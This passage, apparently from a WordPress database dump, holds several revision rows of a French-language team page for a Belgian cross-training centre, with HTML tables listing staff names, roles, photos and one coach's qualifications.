style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch\r\n\r\nBaccalauréat en éducation physique\r\nSpécialisation en psychomotricité\r\nPréparateur physique et entraineur de football diplômé de l’URBSFA\r\nEnseignant en éducation physique\r\nPratiquant de foot, triathlon, tennis et VTT&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-20', '', '', '2013-07-03 19:38:46', '2013-07-03 19:38:46', '', 20, 'http://www.crosstrainingcenter.be/?p=242', 0, 'revision', '', 0),
(243, 1, '2013-07-03 19:39:31', '2013-07-03 19:39:31', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-21', '', '', '2013-07-03 19:39:31', '2013-07-03 19:39:31', '', 20, 'http://www.crosstrainingcenter.be/?p=243', 0, 'revision', '', 0),
(244, 1, '2013-07-03 19:39:55', '2013-07-03 19:39:55', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-22', '', '', '2013-07-03 19:39:55', '2013-07-03 19:39:55', '', 20, 'http://www.crosstrainingcenter.be/?p=244', 0, 'revision', '', 0),
(245, 1, '2013-07-03 19:41:42', '2013-07-03 19:41:42', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;162\&quot; height=\&quot;211\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;233\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;180\&quot; height=\&quot;234\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et 